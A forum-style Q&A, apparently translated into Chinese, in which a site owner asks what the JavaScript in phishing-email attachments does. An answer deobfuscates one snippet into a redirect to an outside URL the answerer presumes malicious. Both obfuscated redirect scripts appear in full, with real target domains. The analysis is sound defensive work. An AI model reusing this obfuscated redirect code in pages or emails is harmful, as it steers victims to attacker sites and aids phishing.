这个Javascript做了什么？

Question

我刚刚发现垃圾邮件发送者正在从我们的域名发送电子邮件,假装是我们,说:

亲爱的顾客,

此电子邮件由ourwebsite.com发送,通知您我们暂时无法访问您的帐户.

我们有理由相信您的帐户可能已被其他人访问过.请运行附件并按照说明操作.

(C)ourwebsite.com(我改变了)

附件是一个包含以下javascript的HTML文件:

<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>

另一封电子邮件:

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>

任何人都能告诉我它的作用吗？所以我们可以看看我们是否有漏洞,如果我们需要告诉客户这个漏洞......

谢谢

Answer 1

回答:

该脚本执行

document.location.href = "http://mvblaw.com/z.htm";    //Evil site (I assume)

它还包含大量无用的行来隐藏脚本的真正用途.

分析

在这里它是解压缩的.

function mD() {};
this.aB = 43719;
mD.prototype = {
    i: function () {
        var w = new Date();
        this.j = '';
        var x = function () {};
        var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
        var d = new Date();
        y = "";
        aL = "";
        var f = document;
        var s = function () {};
        this.yE = "";
        aN = "";
        var dL = '';
        var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
        this.v = "v";
        var q = 27427;
        var m = new Date();
        iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
        dE = '';
        k = "";
        var qY = function () {};
    }
};
xO = false;
var b = new mD();
yY = "";
b.i();
this.xT = '';

清理混淆并添加有意义的名称,就变成了

function TempClass() {};
this.aB = 43719;
TempClass.prototype = {
    doIt: function () {
        var w = new Date();
        this.j = '';
        var x = function () {};
        var a = "http://mvblaw.com/z.htm";    //Evil site (I assume)

        var d = new Date();
        y = "";
        aL = "";
        var f = document;
        var s = function () {};
        this.yE = "";
        aN = "";
        var dL = '';
        var iD = f['location'];
        this.v = "v";
        var q = 27427;
        var m = new Date();
        iD['href'] = a;
        dE = '';
        k = "";
        var qY = function () {};
    }
};
xO = false;
var b = new TempClass();
yY = "";
b.doIt();
this.xT = '';

删除所有无用的行,它就变成了

function TempClass() {};

TempClass.prototype = {
    doIt: function () {
        var a = "http://mvblaw.com/z.htm";    //Evil site (I assume)

        var f = document;
        var iD = f['location'];
        iD['href'] = a;
    }
};

var b = new TempClass();
b.doIt();